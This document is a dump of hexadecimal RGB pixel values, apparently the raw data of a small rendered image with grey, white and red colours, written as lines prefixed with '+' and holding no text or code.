+000000000000000000000000000000000000FFFFFFA3A3A35252527C7C7CE9E9E9D5D5D50B0B0B +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000444444FFFFFF202020000000000000000000 +000000000000000000000000000000D8D8D8808080000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000282828FEFEFE3D3D3D000000000000 +000000000000000000000000000000000000000000000000000000000000000000D8D8D8808080 +000000000000000000000000000000000000000000D8D8D8808080000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000444444FFFFFF202020000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000282828FEFEFE3D3D3D000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDD5D5D5D5D5D5EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000160404EF2929EF29290B0202000000000000000000000000A51C1CEA28286A1212 +0F03031604049F1B1BEA2828200505000000AC1E1EEF2929651111000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000290707 +EF2929EC2929000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000A3A3A3888888000000 +ABABAB808080000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000B8B8B8A0A0A0000000000000000000000000000000000000000000000000000000000000 +000000FFFFFF7C7C7C000000000000262626F9F9F97C7C7C000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000444444FFFFFF202020000000000000000000000000000000000000000000000000 +D8D8D8808080000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000989898CCCCCC000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000D8D8D8808080000000000000000000000000000000 +000000000000D8D8D8808080000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000444444FFFFFF202020000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000989898CCCCCC000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDD5D5D57A7A7A787878 +D3D3D3EDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000D22424EF2929611111AE1E1E +E82828E02626540E0E000000000000611111CC2323E92828CD2323661212000000000000000000 +000000611111CC2323E92828CD23236612120000000000002D0808EF2929EF2929EF2929EF2929 +EF2929EF2929CE23230000003C0A0AEF29296F1313000000010000150404150404EF2929580F0F +000000AC1E1EEF2929651111000000641111EF2929E227272D0808000000380A0AA91D1DD82525 +EA2828DB2626991A1A120303000000000000000000290707EF2929EC2929000000000000000000 +0000000000005A0F0FEF2929EF2929EF2929CE2323000000000000000000000000000000000000 +282828606060282828000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000D4D4D4585858000000DCDCDC505050000000000000000000 +000000000000000000000000000000000000000000000000000000080808898989E1E1E1F8F8F8 +D3D3D35F5F5F000000000000000000808080EAEAEAF0F0F0888888B8B8B8A0A0A0000000000000 +000000000000000000000000000000000000000000000000000000FFFFFF7C7C7C000000000000 +000000B7B7B7D0D0D0000000000000000000424242C8C8C8F7F7F7E5E5E5777777000000000000 +000000000000565656D2D2D2F6F6F6E8E8E8AEAEAE101010000000000000444444FFFFFF202020 +0000000B0B0BC5C5C5C5C5C50B0B0B0C0C0CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF909090 +0000000000000000005F5F5FD9D9D9F9F9F9DBDBDB6464640000000000000000009C9C9CC3C3C3 +949494F1F1F1EBEBEB828282000000000000000000000000000000000000131313F6F6F65A5A5A +0000000000000000002F2F2FADADADE6E6E6F9F9F9D7D7D76464640000000000000C0C0CFFFFFF +FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9090900000000C0C0CFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF +FFFFFF9090900000000000002F2F2FADADADE6E6E6F9F9F9D7D7D7646464000000000000000000 +000000080808898989E1E1E1F8F8F8D3D3D35F5F5F000000000000444444FFFFFF202020000000 +0B0B0BC5C5C5C5C5C50B0B0B000000000000565656D2D2D2F6F6F6E8E8E8AEAEAE101010000000 +000000000000000000000000131313F6F6F65A5A5A000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +EDEDEDEDEDEDEDEDEDEDEDEDD5D5D57A7A7A707070707070787878D3D3D3EDEDEDEDEDEDEDEDED +EDEDED000000000000000000D22424EF2929E52727DF2626B92020DB2626691212000000681212 +EF2929EF2929E12727EF2929EF29296F1313000000000000681212EF2929EF2929E12727EF2929 +EF29296F1313000000220606B82020BC2020EF2929EF2929BA2020B820209D1B1B000000911919 +E227270B0202340909D52424EF2929C22121EA2828721414000000AC1E1EEF2929651111430B0B +EC2929E828283B0A0A000000000000781515EE2929CE2323B11E1EDC2626EF29299E1B1B000000 +000000000000290707EF2929EC2929000000000000000000000000000000440C0CB82020C72222 +EF2929CE23230000000000000000000000000000000000006C6C6CFFFFFF6C6C6C000000000000 +000000000000000000000000000000000000000000000000000000000000242424FFFFFFFFFFFF +FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF000000000000000000000000000000000000000000 +000000000000000000000000B3B3B3F2F2F2757575484848737373A8A8A8000000000000626262 +FEFEFE8181814E4E4EC5C5C5F6F6F6A0A0A0000000000000000000000000000000000000000000 +000000000000000000000000FFFFFF7C7C7C0000000000000000008A8A8AFAFAFA030303000000 +3D3D3DFBFBFBADADAD4C4C4C737373F7F7F7606060000000000000292929FCFCFC8D8D8D404040 +565656A6A6A61C1C1C000000000000444444FFFFFF202020070707BBBBBBCECECE0F0F0F000000 +010101202020202020DDDDDD9090902020202020201212120000000000004C4C4CFFFFFF999999 +4B4B4B959595FFFFFF5353530000000000009C9C9CFEFEFE9E9E9E171717464646F3F3F3636363 +0000000000000000000000000000007B7B7BE4E4E4040404000000000000000000595959919191 +575757434343757575FAFAFA4D4D4D000000010101202020202020DDDDDD909090202020202020 +121212000000010101202020202020DDDDDD909090202020202020121212000000000000595959 +919191575757434343757575FAFAFA4D4D4D000000000000000000B3B3B3F2F2F2757575484848 +737373A8A8A8000000000000444444FFFFFF202020070707BBBBBBCECECE0F0F0F000000000000 +292929FCFCFC8D8D8D404040565656A6A6A61C1C1C0000000000000000000000000000007B7B7B +E4E4E4040404000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDD5D5D57A7A7A +707070707070707070707070787878D3D3D3EDEDEDEDEDEDEDEDED000000000000000000D22424 +EF2929BC20200B0202000000060101210606060101DE2626EF2929671212000000621111EF2929 +E22727080101060101DE2626EF2929671212000000621111EF2929E22727080101000000000000 +160404EF2929EF29290B0202000000000000000000C42222A61C1C010000CB2323D82525601010 +9C1B1BEF2929741414000000AC1E1EEF29298C1818E12727EC2929490D0D000000000000000000 +3C0A0A220606000000000000210606EF2929E82828030000000000000000290707EF2929EC2929 +000000000000000000000000000000000000000000430C0CEF2929CE2323000000000000000000 +0000000000000000006C6C6CFFFFFF6C6C6C0000000000000000000001012B3C4F4D6B8C4B6988 +2534430202030000000F151C1A25300606063030306A6A6AE9E9E9303030737373E0E0E0303030 +3030300000000000000000000000000000000000000000000000000000000000003D3D3DFFFFFF +525252000000000000000000040404000000000000CFCFCFACACAC0000000000001A1A1AFCFCFC +A0A0A0000000000000000000000000000000000000000000000000000000000000000000FFFFFF +7C7C7C000000000000000000797979FFFFFF101010000000C0C0C0CCCCCC010101000000000000 +848484D6D6D60000000000005C5C5CFCFCFC020202000000000000000000000000000000000000 +444444FFFFFF242424B0B0B0D5D5D5141414000000000000000000000000000000D8D8D8808080 +000000000000000000000000000000BBBBBBC9C9C9000000000000000000C4C4C4C2C2C2000000 +0000009C9C9CF8F8F80F0F0F000000000000939393D1D1D1000000000000000000000000060606 +E6E6E6777777000000000000000000000000000000000000000000000000000000AAAAAAA5A5A5 +000000000000000000000000D8D8D8808080000000000000000000000000000000000000000000 +D8D8D8808080000000000000000000000000000000000000000000000000000000000000AAAAAA +A5A5A50000000000003D3D3DFFFFFF525252000000000000000000040404000000000000444444 +FFFFFF242424B0B0B0D5D5D51414140000000000000000005C5C5CFCFCFC020202000000000000 +000000000000000000000000000000000000060606E6E6E6777777000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000EDEDEDEDEDEDE5E5E59A9A9A919191919191919191919191919191919191 +9A9A9AE5E5E5EDEDEDEDEDED000000000000000000D22424EF29295A0F0F000000000000000000 +0000002F0808EF2929E72828050101000000030000E22727EF29293509092F0808EF2929E72828 +050101000000030000E22727EF2929350909000000000000160404EF2929EF29290B0202000000 +000000000000DB26268A18181B0505EF29296A1212000000060101E52727741414000000AC1E1E +EF2929EF2929EF2929A21C1C0000000000000000000000000701015B10108D18189C1B1B9E1B1B +EF2929EF2929140303000000000000290707EF2929EC2929000000000000000000000000000000 +000000000000430C0CEF2929CE2323000000000000000000000000000000000000000000000000 +000000000000000000000000263646729FCF729FCF729FCF729FCF6891BD5A7DA3709CCB2D3E51 +0000000000007B7B7BB0B0B0000000858585A6A6A6000000000000000000000000000000000000 +0000000000000000000000000000000000007D7D7DF6F6F6010101000000000000000000000000 +000000010101FAFAFA6B6B6B000000000000000000D2D2D2A0A0A0000000000000000000000000 +000000000000000000000000000000000000000000FFFFFF7C7C7C000000000000000000787878 +FFFFFF111111060606FBFBFB777777000000000000000000464646FEFEFE070707000000313131 +FFFFFF9F9F9F4141410B0B0B000000000000000000000000444444FFFFFFBFBFBFFFFFFF414141 +000000000000000000000000000000000000D8D8D8808080000000000000000000000000000000 +EEEEEE878787000000000000000000808080F5F5F50000000000009C9C9CD3D3D3000000000000 +000000606060FBFBFB0202020000000000000000005E5E5EF4F4F4111111000000000000000000 +0000000808087D7D7DD4D4D4F2F2F2F8F8F8FCFCFCBCBCBC000000000000000000000000D8D8D8 +808080000000000000000000000000000000000000000000D8D8D8808080000000000000000000 +0000000000000808087D7D7DD4D4D4F2F2F2F8F8F8FCFCFCBCBCBC0000000000007D7D7DF6F6F6 +010101000000000000000000000000000000000000444444FFFFFFBFBFBFFFFFFF414141000000 +000000000000000000313131FFFFFF9F9F9F4141410B0B0B000000000000000000000000000000 +0000005E5E5EF4F4F4111111000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000EDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000 +000000000000D22424EF2929440C0C000000000000000000000000400B0BEF2929D42424000000 +000000000000CD2323EF2929460C0C400B0BEF2929D42424000000000000000000CD2323EF2929 +460C0C000000000000160404EF2929EF29290B0202000000000000000000DF26267C15151D0505 +EF29295E1010000000000000DD2626741414000000AC1E1EEF2929EF2929E82828EC29292A0707 +000000000000030000B21F1FEF2929EF2929EF2929EF2929EF2929EF29291A0505000000000000 +290707EF2929EC2929000000000000000000000000000000000000000000430C0CEF2929CE2323 +00000000000000000000000000000000000000000000000000000000000000000000000022303F +2A3B4D080B0F0D1318374D646289B36B95C24B6988090D11000000000000B4B4B4787878000000 +BCBCBC6F6F6F000000000000000000000000000000000000000000000000000000000000000000 +000000909090DFDFDF000000000000000000000000000000000000101010FFFFFF595959000000 +000000000000BEBEBEA0A0A0000000000000000000000000000000000000000000000000000000 +000000000000FFFFFF7C7C7C000000000000000000898989FBFBFB030303141414FFFFFFFAFAFA +F8F8F8F8F8F8F8F8F8F9F9F9FFFFFF212121000000000000585858C9C9C9FCFCFCF9F9F99E9E9E +050505000000000000444444FFFFFFDFDFDFCBCBCBC9C9C9030303000000000000000000000000 +000000D8D8D8808080000000000000000000000000000000FDFDFD757575000000000000000000 +6E6E6EFFFFFF0404040000009C9C9CC5C5C5000000000000000000525252FFFFFF141414000000 +000000000000CFCFCF949494000000000000000000000000000000949494EDEDED6262622F2F2F +282828ABABABC0C0C0000000000000000000000000D8D8D8808080000000000000000000000000 +000000000000000000D8D8D8808080000000000000000000000000000000949494EDEDED626262 +2F2F2F282828ABABABC0C0C0000000000000909090DFDFDF000000000000000000000000000000 +000000000000444444FFFFFFDFDFDFCBCBCBC9C9C9030303000000000000000000000000585858 +C9C9C9FCFCFCF9F9F99E9E9E050505000000000000000000000000CFCFCF949494000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED000000000000000000D22424EF2929430C0C +0000000000000000000000002F0808EF2929E72828050101000000030000E22727EF2929350909 +2F0808EF2929E72828050101000000030000E22727EF2929350909000000000000160404EF2929 +EF29290B0202000000000000000000CF2424901919020000D52424BA20201F0505601010EF2929 +741414000000AC1E1EEF2929891717701313EF2929B21F1F0000000000002E0808EF2929EF2929 +5C10100B02020D0202EF2929EF29291A0505000000000000270707EF2929EE2929010000000000 +000000000000000000000000000000430C0CEF2929CE2323000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000FCFCFCFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF282828000000 +0000000000000000000000000000000000000000000000000000007E7E7EF6F6F6010101000000 +000000000000000000000000010101F9F9F9666666000000000000000000CCCCCCA0A0A0000000 +000000000000000000000000000000000000000000000000000000000000FFFFFF7C7C7C000000 +000000000000B7B7B7D1D1D1000000060606FBFBFB787878282828282828282828282828282828 +0505050000000000000000000000000E0E0E6E6E6EFDFDFD626262000000000000444444FFFFFF +323232282828F8F8F8777777000000000000000000000000000000D8D8D8808080000000000000 +000000000000000000EEEEEE878787000000000000000000808080F5F5F50000000000009C9C9C +D9D9D9000000000000000000656565FCFCFC030303000000000000414141FDFDFD242424000000 +000000000000000000000000ECECEC757575000000000000000000B5B5B5C0C0C0000000000000 +000000000000D8D8D8808080000000000000000000000000000000000000000000D8D8D8808080 +000000000000000000000000000000ECECEC757575000000000000000000B5B5B5C0C0C0000000 +0000007E7E7EF6F6F6010101000000000000000000000000000000000000444444FFFFFF323232 +282828F8F8F87777770000000000000000000000000000000000000E0E0E6E6E6EFDFDFD626262 +000000000000000000414141FDFDFD242424000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000EDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDEDED +EDEDEDEDEDED000000000000000000D22424EF2929430C0C000000000000000000000000050101 +DE2626EF2929651111000000611111EF2929E22727080101050101DE2626EF2929651111000000 +611111EF2929E227270801010000000000000F0303EF2929EF29291F0505000000000000000000 +A41C1CC82222000000440C0CE32727EF2929DB2626EB2828741414000000AC1E1EEF2929651111 +080101D72525EF29294E0D0D0000003D0A0AEF2929EE2929040101000000420B0BEF2929EF2929 +1A0505000000000000160404EF2929EF29292B0707000000000000000000000000000000000000 +430C0CEF2929CE23230000000000000000000000000000000000002A2A2A6464642A2A2A000000 